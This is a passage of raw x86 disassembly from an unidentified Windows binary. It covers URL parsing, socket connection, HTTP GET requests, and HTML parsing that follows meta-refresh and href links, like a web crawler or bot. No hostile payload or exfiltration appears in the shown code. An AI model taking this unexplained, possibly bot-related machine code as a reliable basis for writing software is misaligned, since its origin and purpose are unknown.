push [esp+4+arg_0]
call sub_41972A
retn 4
sub_41971C endp
; =============== S U B R O U T I N E =======================================
sub_41972A proc near ; CODE XREF: sub_41971C+6p
arg_0 = byte ptr 4
push esi
push edi
movsx edi, [esp+8+arg_0]
mov esi, ecx
push edi
push dword ptr [esi+4]
call sub_42B0D0
pop ecx
test eax, eax
pop ecx
jz short loc_419755
push edi
push dword ptr [esi+4]
call sub_42B0D0
pop ecx
pop ecx
xor ecx, ecx
inc ecx
sub ecx, [esi+4]
add eax, ecx
loc_419755: ; CODE XREF: sub_41972A+16j
pop edi
pop esi
retn 8
sub_41972A endp
; =============== S U B R O U T I N E =======================================
sub_41975A proc near ; CODE XREF: sub_419B88+38Fp
; sub_419B88+3A9p ...
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_419768
retn 4
sub_41975A endp
; =============== S U B R O U T I N E =======================================
sub_419768 proc near ; CODE XREF: sub_41975A+6p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
push dword ptr [esi+4]
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jz short loc_419793
push [esp+4+arg_0]
push dword ptr [esi+4]
call sub_42ADD0
pop ecx
pop ecx
xor ecx, ecx
inc ecx
sub ecx, [esi+4]
add eax, ecx
loc_419793: ; CODE XREF: sub_419768+13j
pop esi
retn 8
sub_419768 endp
; =============== S U B R O U T I N E =======================================
sub_419797 proc near ; CODE XREF: sub_41982A+17p
; ?9:0041A209p ...
mov eax, offset loc_436254
call sub_42B6FC
sub esp, 18h
and dword ptr [ebp-14h], 0
push edi
mov edi, [ebp+10h]
mov [ebp-10h], ecx
cmp edi, 1
jge short loc_4197C3
mov ecx, [ebp+8]
push offset byte_454A34
call sub_419581
jmp short loc_419818
; ---------------------------------------------------------------------------
loc_4197C3: ; CODE XREF: sub_419797+1Bj
push ebx
push esi
lea ecx, [ebp-24h]
call sub_419551
and dword ptr [ebp-4], 0
lea esi, [edi+1]
push esi
call sub_4296E8
mov ebx, eax
push esi
push 0
push ebx
call sub_429690
mov eax, [ebp-10h]
push edi
mov eax, [eax+4]
add eax, [ebp+0Ch]
push eax
push ebx
call sub_429350
add esp, 1Ch
lea ecx, [ebp-24h]
push ebx
call sub_4195FC
mov ecx, [ebp+8]
lea eax, [ebp-24h]
push eax
call sub_4195A5
lea ecx, [ebp-24h]
call sub_4195C9
pop esi
pop ebx
loc_419818: ; CODE XREF: sub_419797+2Aj
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
mov large fs:0, ecx
leave
retn 0Ch
sub_419797 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982A proc near ; CODE XREF: sub_419B88+39Cp
; sub_419B88+3B6p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
call sub_41DA96
sub eax, [ebp+arg_4]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419797
mov eax, [ebp+arg_0]
leave
retn 8
sub_41982A endp
; =============== S U B R O U T I N E =======================================
sub_41984D proc near ; CODE XREF: sub_419998+13p
; ?9:0041A4D6p ...
mov eax, offset loc_436287
call sub_42B6FC
sub esp, 28h
push ebx
xor ebx, ebx
mov [ebp-14h], ebx
mov al, [ebp+0Bh]
push esi
push edi
mov [ebp-24h], al
mov [ebp-20h], ebx
mov [ebp-1Ch], ebx
mov [ebp-18h], ebx
push dword ptr [ecx+4]
xor esi, esi
inc esi
lea ecx, [ebp-34h]
mov [ebp-4], esi
call sub_419581
lea ecx, [ebp-34h]
mov byte ptr [ebp-4], 2
call sub_4199C6
mov [ebp-10h], eax
mov cl, [eax]
cmp cl, bl
jz loc_419934
mov edi, [ebp+10h]
loc_41989E: ; CODE XREF: sub_41984D+E1j
mov dl, [edi]
cmp cl, dl
jnz short loc_4198AC
loc_4198A4: ; CODE XREF: sub_41984D+5Dj
inc eax
mov [ebp-10h], eax
cmp [eax], dl
jz short loc_4198A4
loc_4198AC: ; CODE XREF: sub_41984D+55j
cmp byte ptr [eax], 22h
setz byte ptr [ebp+13h]
cmp [ebp+13h], bl
jz short loc_4198BC
inc eax
mov [ebp-10h], eax
loc_4198BC: ; CODE XREF: sub_41984D+69j
lea eax, [ebp-10h]
lea ecx, [ebp-24h]
push eax
call sub_41B11E
mov eax, [ebp-10h]
cmp [ebp+13h], bl
mov cl, [eax]
jz short loc_419903
cmp cl, bl
jz short loc_419934
loc_4198D6: ; CODE XREF: sub_41984D+A2j
cmp cl, 22h
jnz short loc_4198E7
mov cl, [eax+1]
cmp cl, 20h
jz short loc_4198F1
cmp cl, bl
jz short loc_4198F1
loc_4198E7: ; CODE XREF: sub_41984D+8Cj
inc eax
mov [ebp-10h], eax
mov cl, [eax]
cmp cl, bl
jnz short loc_4198D6
loc_4198F1: ; CODE XREF: sub_41984D+94j
; sub_41984D+98j
cmp [eax], bl
jz short loc_419934
mov [eax], bl
mov eax, [ebp-10h]
cmp [eax+1], bl
jz short loc_41992A
inc eax
inc eax
jmp short loc_419927
; ---------------------------------------------------------------------------
loc_419903: ; CODE XREF: sub_41984D+83j
cmp cl, bl
jz short loc_419934
mov dl, [edi]
loc_419909: ; CODE XREF: sub_41984D+C8j
cmp cl, dl
jz short loc_419917
inc eax
mov [ebp-10h], eax
mov cl, [eax]
cmp cl, bl
jnz short loc_419909
loc_419917: ; CODE XREF: sub_41984D+BEj
mov cl, [eax]
cmp cl, bl
jz short loc_419934
cmp cl, dl
jnz short loc_41992A
mov [eax], bl
mov eax, [ebp-10h]
inc eax
loc_419927: ; CODE XREF: sub_41984D+B4j
mov [ebp-10h], eax
loc_41992A: ; CODE XREF: sub_41984D+B0j
; sub_41984D+D2j
mov cl, [eax]
cmp cl, bl
jnz loc_41989E
loc_419934: ; CODE XREF: sub_41984D+48j
; sub_41984D+87j ...
cmp [ebp-20h], ebx
jz short loc_419947
mov eax, [ebp-1Ch]
sub eax, [ebp-20h]
sar eax, 2
cmp [ebp+0Ch], eax
jb short loc_419959
loc_419947: ; CODE XREF: sub_41984D+EAj
mov ecx, [ebp+8]
push offset byte_454A34
call sub_419581
mov [ebp-14h], esi
jmp short loc_419971
; ---------------------------------------------------------------------------
loc_419959: ; CODE XREF: sub_41984D+F8j
push dword ptr [ebp+0Ch]
lea ecx, [ebp-24h]
call sub_41B0F1
push dword ptr [eax]
mov ecx, [ebp+8]
call sub_419581
mov [ebp-14h], esi
loc_419971: ; CODE XREF: sub_41984D+10Aj
lea ecx, [ebp-34h]
call sub_4195C9
lea ecx, [ebp-24h]
mov [ebp-4], bl
call sub_41B0D8
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 10h
sub_41984D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419998 proc near ; CODE XREF: sub_419B88+42p
; sub_419B88+95p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push 0
and [ebp+var_4], 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41984D
mov eax, [ebp+arg_0]
leave
retn 0Ch
sub_419998 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4199B7 proc near ; CODE XREF: sub_419B88+3C3p
; sub_419B88+3F2p ...
jmp sub_419649
sub_4199B7 endp
; =============== S U B R O U T I N E =======================================
sub_4199BC proc near ; CODE XREF: ?9:0041A4FCp ?9:0041A89Fp ...
arg_0 = dword ptr 4
mov eax, [ecx+4]
add eax, [esp+arg_0]
retn 4
sub_4199BC endp
; =============== S U B R O U T I N E =======================================
sub_4199C6 proc near ; CODE XREF: sub_419649+7p
; sub_4196AA+7p ...
mov eax, [ecx+4]
retn
sub_4199C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4199CA proc near ; CODE XREF: sub_419A4B+29p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push esi
push eax
push 101h
call dword_4372B4
push 6
push 1
push 2
call dword_4372B8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_419A41
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4372C0
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_41E326
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4372C8
cmp eax, 0FFFFFFFFh
jnz short loc_419A46
push esi
call dword_4372D4
loc_419A41: ; CODE XREF: sub_4199CA+2Dj
or eax, 0FFFFFFFFh
jmp short loc_419A48
; ---------------------------------------------------------------------------
loc_419A46: ; CODE XREF: sub_4199CA+6Ej
mov eax, esi
loc_419A48: ; CODE XREF: sub_4199CA+7Aj
pop esi
leave
retn
sub_4199CA endp
; =============== S U B R O U T I N E =======================================
sub_419A4B proc near ; CODE XREF: ?9:0041A184p ?9:0041A3AFp ...
mov eax, offset loc_43629C
call sub_42B6FC
mov eax, 1014h
call sub_429A90
mov eax, [ebp+10h]
push esi
xor esi, esi
push dword ptr [eax+40h]
lea ecx, [eax+10h]
mov [ebp-20h], esi
call sub_4199C6
push eax
call sub_4199CA
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+10h], eax
jnz short loc_419A95
mov ecx, [ebp+8]
push offset byte_454A34
call sub_419581
jmp loc_419B78
; ---------------------------------------------------------------------------
loc_419A95: ; CODE XREF: sub_419A4B+36j
push ebx
push edi
push esi
push dword ptr [ebp+0Ch]
call sub_4292D0
pop ecx
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+10h]
call dword_4372CC
push offset byte_454A34
lea ecx, [ebp-1Ch]
call sub_419581
mov edi, dword_4372D0
mov [ebp-4], esi
mov esi, 1000h
loc_419AC9: ; CODE XREF: sub_419A4B+B4j
; sub_419A4B+DCj
push 0
lea eax, [ebp-1020h]
push esi
push eax
push dword ptr [ebp+10h]
call edi ; dword_4372D0
mov ebx, eax
test ebx, ebx
jle short loc_419B29
cmp ebx, esi
jge short loc_419AEA
and byte ptr [ebp+ebx-1020h], 0
loc_419AEA: ; CODE XREF: sub_419A4B+95j
lea eax, [ebp-1020h]
lea ecx, [ebp-1Ch]
push eax
call sub_419661
and dword ptr [ebp+0Ch], 0
test ebx, ebx
jle short loc_419AC9
loc_419B01: ; CODE XREF: sub_419A4B+DAj
mov eax, [ebp+0Ch]
push 4
push offset asc_446DCC ; "\r\n\r\n"
lea eax, [ebp+eax-1020h]
push eax
call sub_42B870
add esp, 0Ch
test eax, eax
jz short loc_419B29
inc dword ptr [ebp+0Ch]
cmp [ebp+0Ch], ebx
jl short loc_419B01
jmp short loc_419AC9
; ---------------------------------------------------------------------------
loc_419B29: ; CODE XREF: sub_419A4B+91j
; sub_419A4B+D2j ...
push 0
lea eax, [ebp-1020h]
push esi
push eax
push dword ptr [ebp+10h]
call edi ; dword_4372D0
test eax, eax
jle short loc_419B59
cmp eax, esi
jge short loc_419B48
and byte ptr [ebp+eax-1020h], 0
loc_419B48: ; CODE XREF: sub_419A4B+F3j
lea eax, [ebp-1020h]
lea ecx, [ebp-1Ch]
push eax
call sub_419661
jmp short loc_419B29
; ---------------------------------------------------------------------------
loc_419B59: ; CODE XREF: sub_419A4B+EFj
push dword ptr [ebp+10h]
call dword_4372D4
mov ecx, [ebp+8]
lea eax, [ebp-1Ch]
push eax
call sub_4195A5
lea ecx, [ebp-1Ch]
call sub_4195C9
pop edi
pop ebx
loc_419B78: ; CODE XREF: sub_419A4B+45j
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop esi
mov large fs:0, ecx
leave
retn
sub_419A4B endp
; =============== S U B R O U T I N E =======================================
sub_419B88 proc near ; CODE XREF: ?9:0041A02Ap ?9:0041A31Dp ...
mov eax, offset loc_436348
call sub_42B6FC
sub esp, 50h
push esi
xor esi, esi
cmp [ebp+8], esi
jnz short loc_419BA4
xor eax, eax
jmp loc_419FB8
; ---------------------------------------------------------------------------
loc_419BA4: ; CODE XREF: sub_419B88+13j
push ebx
push edi
lea ecx, [ebp-1Ch]
call sub_419551
push dword ptr [ebp+8]
lea ecx, [ebp-1Ch]
mov [ebp-4], esi
call sub_4195FC
mov ebx, offset asc_446DE8 ; ":"
lea eax, [ebp-3Ch]
push ebx
push esi
push eax
lea ecx, [ebp-1Ch]
call sub_419998
mov edi, [ebp+0Ch]
push eax
mov ecx, edi
mov byte ptr [ebp-4], 1
call sub_419649
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_4195C9
push offset aHttp ; "http"
mov ecx, edi
call sub_4196C2
test eax, eax
jz short loc_419C0E
push offset aFtp ; "ftp"
mov ecx, edi
call sub_4196C2
test eax, eax
jnz loc_419FAC
loc_419C0E: ; CODE XREF: sub_419B88+70j
mov esi, offset asc_446DD8 ; "/"
lea eax, [ebp-3Ch]
push esi
push 1
push eax
lea ecx, [ebp-1Ch]
call sub_419998
push 40h
mov ecx, eax
mov byte ptr [ebp-4], 2
call sub_41971C
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
mov [ebp+8], eax
call sub_4195C9
cmp dword ptr [ebp+8], 0
push esi
lea ecx, [ebp-1Ch]
push 1
jz loc_419E48
lea eax, [ebp-5Ch]
push eax
call sub_419998
push offset a@_6 ; "@"
lea ecx, [ebp-4Ch]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 3
call sub_419998
push ebx
lea ecx, [ebp-3Ch]
push 0
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 4
call sub_419998
lea ecx, [edi+10h]
push eax
mov byte ptr [ebp-4], 5
call sub_419649
lea ecx, [ebp-3Ch]
call sub_4195C9
lea ecx, [ebp-4Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-5Ch]
call sub_4195C9
push offset byte_454A34
lea ecx, [edi+10h]
call sub_4196C2
test eax, eax
jnz short loc_419CC0
loc_419CB9: ; CODE XREF: sub_419B88+23Fj
; sub_419B88+2BBj ...
xor esi, esi
jmp loc_419FAC
; ---------------------------------------------------------------------------
loc_419CC0: ; CODE XREF: sub_419B88+12Fj
push esi
lea eax, [ebp-3Ch]
push 1
push eax
lea ecx, [ebp-1Ch]
call sub_419998
push offset a@_6 ; "@"
lea ecx, [ebp-4Ch]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 6
call sub_419998
push ebx
lea ecx, [ebp-5Ch]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 7
call sub_419998
mov ecx, eax
call sub_4199C6
push eax
call sub_42A030
pop ecx
mov [edi+40h], eax
lea ecx, [ebp-5Ch]
call sub_4195C9
lea ecx, [ebp-4Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_4195C9
cmp dword ptr [edi+40h], 0
jnz short loc_419D58
push offset aHttp ; "http"
mov ecx, edi
call sub_4196C2
test eax, eax
jnz short loc_419D41
mov dword ptr [edi+40h], 50h
loc_419D41: ; CODE XREF: sub_419B88+1B0j
push offset aFtp ; "ftp"
mov ecx, edi
call sub_4196C2
test eax, eax
jnz short loc_419D58
mov dword ptr [edi+40h], 15h
loc_419D58: ; CODE XREF: sub_419B88+1A0j
; sub_419B88+1C7j
push esi
lea eax, [ebp-3Ch]
push 1
push eax
lea ecx, [ebp-1Ch]
call sub_419998
push offset a@_6 ; "@"
lea ecx, [ebp-4Ch]
push 0
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 8
call sub_419998
push ebx
lea ecx, [ebp-5Ch]
push 0
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 9
call sub_419998
lea ecx, [edi+20h]
push eax
mov byte ptr [ebp-4], 0Ah
call sub_419649
lea ecx, [ebp-5Ch]
call sub_4195C9
lea ecx, [ebp-4Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_4195C9
push offset byte_454A34
lea ecx, [edi+20h]
call sub_4196C2
test eax, eax
jz loc_419CB9
push esi
lea eax, [ebp-3Ch]
push 1
push eax
lea ecx, [ebp-1Ch]
call sub_419998
push offset a@_6 ; "@"
lea ecx, [ebp-4Ch]
push 0
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 0Bh
call sub_419998
push ebx
lea ecx, [ebp-5Ch]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 0Ch
call sub_419998
lea ebx, [edi+30h]
push eax
mov ecx, ebx
mov byte ptr [ebp-4], 0Dh
call sub_419649
lea ecx, [ebp-5Ch]
call sub_4195C9
lea ecx, [ebp-4Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-3Ch]
call sub_4195C9
push offset byte_454A34
mov ecx, ebx
call sub_4196C2
test eax, eax
jnz loc_419F13
jmp loc_419CB9
; ---------------------------------------------------------------------------
loc_419E48: ; CODE XREF: sub_419B88+C0j
lea eax, [ebp-4Ch]
push eax
call sub_419998
push ebx
lea ecx, [ebp-5Ch]
push 0
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 0Eh
call sub_419998
lea ecx, [edi+10h]
push eax
mov byte ptr [ebp-4], 0Fh
call sub_419649
lea ecx, [ebp-5Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-4Ch]
call sub_4195C9
push offset byte_454A34
lea ecx, [edi+10h]
call sub_4196C2
test eax, eax
jz loc_419CB9
push esi
lea eax, [ebp-4Ch]
push 1
push eax
lea ecx, [ebp-1Ch]
call sub_419998
push ebx
lea ecx, [ebp-5Ch]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 10h
call sub_419998
mov ecx, eax
call sub_4199C6
push eax
call sub_42A030
pop ecx
mov [edi+40h], eax
lea ecx, [ebp-5Ch]
call sub_4195C9
and byte ptr [ebp-4], 0
lea ecx, [ebp-4Ch]
call sub_4195C9
cmp dword ptr [edi+40h], 0
jnz short loc_419F13
push offset aHttp ; "http"
mov ecx, edi
call sub_4196C2
test eax, eax
jnz short loc_419EFC
mov dword ptr [edi+40h], 50h
loc_419EFC: ; CODE XREF: sub_419B88+36Bj
push offset aFtp ; "ftp"
mov ecx, edi
call sub_4196C2
test eax, eax
jnz short loc_419F13
mov dword ptr [edi+40h], 15h
loc_419F13: ; CODE XREF: sub_419B88+2B5j
; sub_419B88+35Bj ...
push esi
lea ecx, [ebp-1Ch]
call sub_41975A
push eax
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
call sub_41982A
push esi
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 11h
call sub_41975A
push eax
lea eax, [ebp-5Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_41982A
push eax
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 12h
call sub_4199B7
lea ecx, [ebp-5Ch]
mov byte ptr [ebp-4], 11h
call sub_4195C9
push esi
lea ecx, [ebp-2Ch]
call sub_41975A
push eax
lea eax, [ebp-5Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_41982A
push eax
lea ecx, [ebp-2Ch]
mov byte ptr [ebp-4], 13h
call sub_4199B7
lea ecx, [ebp-5Ch]
mov byte ptr [ebp-4], 11h
call sub_4195C9
add edi, 44h
push esi
mov ecx, edi
call sub_4195FC
lea eax, [ebp-2Ch]
mov ecx, edi
push eax
call sub_4196AA
lea ecx, [ebp-2Ch]
call sub_4195C9
xor esi, esi
inc esi
loc_419FAC: ; CODE XREF: sub_419B88+80j
; sub_419B88+133j
lea ecx, [ebp-1Ch]
call sub_4195C9
pop edi
mov eax, esi
pop ebx
loc_419FB8: ; CODE XREF: sub_419B88+17j
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_419B88 endp
; ---------------------------------------------------------------------------
loc_419FC5: ; DATA XREF: sub_40A938+8094o
mov eax, offset loc_436500
call sub_42B6FC
sub esp, 0C40h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 22Ah
mov esi, eax
lea edi, [ebp-0C4Ch]
xor ebx, ebx
rep movsd
mov dword ptr [eax+8A4h], 1
mov eax, [ebp-0C4Ch]
lea ecx, [ebp-1F4h]
mov [ebp-34h], eax
mov [ebp-48h], ebx
call sub_41B083
mov [ebp-4], ebx
call dword_437184 ; GetTickCount
push eax
call sub_429ABF
lea eax, [ebp-1F4h]
push eax
lea eax, [ebp-0C48h]
push eax
call sub_419B88
add esp, 0Ch
test eax, eax
jnz short loc_41A09B
cmp [ebp-3ACh], ebx
mov esi, offset aFailedToParse_ ; "Failed to parse."
jnz short loc_41A05E
cmp [ebp-3B0h], ebx
jnz short loc_41A066
lea eax, [ebp-448h]
push esi
push eax
push dword ptr [ebp-34h]
call sub_41CD84
add esp, 0Ch
loc_41A05E: ; CODE XREF: ?9:0041A041j
cmp [ebp-3B0h], ebx
jz short loc_41A079
loc_41A066: ; CODE XREF: ?9:0041A049j
lea eax, [ebp-448h]
push esi
push eax
push dword ptr [ebp-34h]
call sub_41CD0E
add esp, 0Ch
loc_41A079: ; CODE XREF: ?9:0041A064j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1F4h]
call sub_41B0AD
mov ecx, [ebp-0Ch]
pop edi
pop esi
xor eax, eax
pop ebx
mov large fs:0, ecx
leave
retn 4
; ---------------------------------------------------------------------------
loc_41A09B: ; CODE XREF: ?9:0041A034j
xor eax, eax
cmp off_446338, ebx
jz short loc_41A0AF
loc_41A0A5: ; CODE XREF: ?9:0041A0ADj
inc eax
cmp off_446338[eax*4], ebx
jnz short loc_41A0A5
loc_41A0AF: ; CODE XREF: ?9:0041A0A3j
dec eax
cmp [ebp-3C0h], ebx
mov [ebp-0D0h], eax
jle loc_41B002
mov esi, offset asc_43D938 ; " "
mov edi, offset asc_44734C ; "="
loc_41A0CC: ; CODE XREF: ?9:0041AFFCj
push dword ptr [ebp-0D0h]
push ebx
call sub_41E34F
mov eax, off_446338[eax*4]
pop ecx
pop ecx
mov [ebp+8], eax
lea ecx, [ebp-30h]
call sub_419551
lea ecx, [ebp-20h]
call sub_419551
cmp dword ptr [ebp-3C4h], 50h
mov byte ptr [ebp-4], 2
lea ecx, [ebp-1E4h]
jnz short loc_41A120
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41A13D
; ---------------------------------------------------------------------------
loc_41A120: ; CODE XREF: ?9:0041A105j
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41A13D: ; CODE XREF: ?9:0041A11Ej
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-1B0h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-1F4h]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-0CCh]
push eax
call sub_419A4B
add esp, 0Ch
mov byte ptr [ebp-4], 3
jmp loc_41AF93
; ---------------------------------------------------------------------------
loc_41A195: ; CODE XREF: ?9:0041AF99j
lea ecx, [ebp-0ACh]
call sub_41B083
push 3Ch
lea ecx, [ebp-0CCh]
mov byte ptr [ebp-4], 4
call sub_41971C
test eax, eax
jz loc_41AFA1
push 3Ch
lea ecx, [ebp-0CCh]
call sub_41971C
push eax
lea eax, [ebp-0F0h]
push eax
lea ecx, [ebp-0CCh]
call sub_41982A
lea eax, [ebp-0F0h]
lea ecx, [ebp-0CCh]
push eax
mov byte ptr [ebp-4], 5
call sub_4199B7
push 3Eh
lea ecx, [ebp-0CCh]
call sub_41971C
dec eax
lea ecx, [ebp-0CCh]
push eax
lea eax, [ebp-44h]
push ebx
push eax
call sub_419797
push esi
lea eax, [ebp-0BCh]
push ebx
push eax
lea ecx, [ebp-44h]
mov byte ptr [ebp-4], 6
call sub_419998
push offset aMeta ; "meta"
lea ecx, [ebp-0BCh]
mov byte ptr [ebp-4], 7
call sub_4196D2
test eax, eax
jnz loc_41A3D5
push offset aRefresh ; "\"Refresh\""
lea ecx, [ebp-44h]
call sub_41975A
test eax, eax
jz loc_41A3D5
push esi
lea eax, [ebp-58h]
push 3
push eax
lea ecx, [ebp-44h]
call sub_419998
push 3Dh
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 8
call sub_41971C
push eax
lea eax, [ebp-394h]
push eax
lea ecx, [ebp-58h]
call sub_41982A
push eax
lea ecx, [ebp-0F0h]
mov byte ptr [ebp-4], 9
call sub_4199B7
lea ecx, [ebp-394h]
mov byte ptr [ebp-4], 8
call sub_4195C9
lea eax, [ebp-0F0h]
lea ecx, [ebp-58h]
push eax
call sub_4199B7
lea ecx, [ebp-58h]
call sub_41DA96
dec eax
lea ecx, [ebp-58h]
push eax
lea eax, [ebp-374h]
push ebx
push eax
call sub_419797
push eax
lea ecx, [ebp-0F0h]
mov byte ptr [ebp-4], 0Ah
call sub_4199B7
lea ecx, [ebp-374h]
mov byte ptr [ebp-4], 8
call sub_4195C9
lea eax, [ebp-0F0h]
lea ecx, [ebp-58h]
push eax
call sub_4199B7
lea eax, [ebp-58h]
lea ecx, [ebp-204h]
push eax
call sub_4195A5
lea eax, [ebp-0ACh]
lea ecx, [ebp-204h]
push eax
mov byte ptr [ebp-4], 0Bh
call sub_4199C6
push eax
call sub_419B88
pop ecx
test eax, eax
pop ecx
jz loc_41A3C2
cmp dword ptr [ebp-6Ch], 50h
lea ecx, [ebp-9Ch]
jnz short loc_41A351
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostS ; "Host: %s"
push eax
call sub_4196E3
add esp, 0Ch
jmp short loc_41A36B
; ---------------------------------------------------------------------------
loc_41A351: ; CODE XREF: ?9:0041A336j
push dword ptr [ebp-6Ch]
call sub_4199C6
push eax
lea eax, [ebp-20h]
push offset aHostSD ; "Host: %s:%d"
push eax
call sub_4196E3
add esp, 10h
loc_41A36B: ; CODE XREF: ?9:0041A34Fj
lea eax, [ebp-848h]
lea ecx, [ebp-20h]
push eax
call sub_4199C6
push eax
lea ecx, [ebp-68h]
push dword ptr [ebp+8]
call sub_4199C6
push eax
lea eax, [ebp-30h]
push offset aGetSHttp1_1Acc ; "GET %s HTTP/1.1\r\nAccept: image/gif, ima"...
push eax
call sub_4196E3
add esp, 18h
lea eax, [ebp-0ACh]
lea ecx, [ebp-30h]
push eax
call sub_4199C6
push eax
lea eax, [ebp-214h]
push eax
call sub_419A4B
add esp, 0Ch
lea ecx, [ebp-214h]
call sub_4195C9
loc_41A3C2: ; CODE XREF: ?9:0041A326j
lea ecx, [ebp-204h]
call sub_4195C9
lea ecx, [ebp-58h]
jmp loc_41AF61
; ---------------------------------------------------------------------------
loc_41A3D5: ; CODE XREF: ?9:0041A239j ?9:0041A24Ej
push offset dword_43DAAC
lea ecx, [ebp-0BCh]
call sub_4196D2
test eax, eax
jnz loc_41A778
push esi
lea eax, [ebp-384h]
push ebx
push eax
lea ecx, [ebp-44h]
mov [ebp-10h], ebx
call sub_419998
push edi
lea ecx, [ebp-110h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 0Ch
call sub_419998
lea ecx, [ebp-384h]
jmp short loc_41A47C
; ---------------------------------------------------------------------------
loc_41A41D: ; CODE XREF: ?9:0041A497j
push offset byte_454A34
lea ecx, [ebp-110h]
call sub_4196C2
test eax, eax
jz short loc_41A499
inc dword ptr [ebp-10h]
push esi
push dword ptr [ebp-10h]
lea eax, [ebp-304h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push edi
lea ecx, [ebp-244h]
push ebx
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 0Fh
call sub_419998
push eax
lea ecx, [ebp-110h]
mov byte ptr [ebp-4], 10h
call sub_419649
lea ecx, [ebp-244h]
call sub_4195C9
lea ecx, [ebp-304h]
loc_41A47C: ; CODE XREF: ?9:0041A41Bj
mov byte ptr [ebp-4], 0Eh
call sub_4195C9
lea ecx, [ebp-110h]
push offset aHref ; "href"
call sub_4196D2
test eax, eax
jnz short loc_41A41D
loc_41A499: ; CODE XREF: ?9:0041A42Fj
push offset byte_454A34
lea ecx, [ebp-110h]
call sub_4196C2
test eax, eax
jz loc_41A76D
push esi
lea eax, [ebp-264h]
push dword ptr [ebp-10h]
lea ecx, [ebp-44h]
push eax
call sub_419998
push 1
push edi
lea ecx, [ebp-160h]
push 1
push ecx
mov ecx, eax
mov byte ptr [ebp-4], 11h
call sub_41984D
lea ecx, [ebp-264h]
call sub_4195C9
lea ecx, [ebp-170h]
call sub_419551
push ebx
lea ecx, [ebp-160h]
mov byte ptr [ebp-4], 14h
call sub_4199BC
cmp byte ptr [eax], 2Fh
lea ecx, [ebp-160h]
jnz short loc_41A53A
call sub_4199C6
push eax
lea ecx, [ebp-1E4h]
push dword ptr [ebp-1B4h]
call sub_4199C6
push eax
lea eax, [ebp-170h]
push offset aHttpSDS ; "http://%s:%d%s"
push eax
call sub_4196E3
add esp, 14h
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A53A: ; CODE XREF: ?9:0041A50Aj
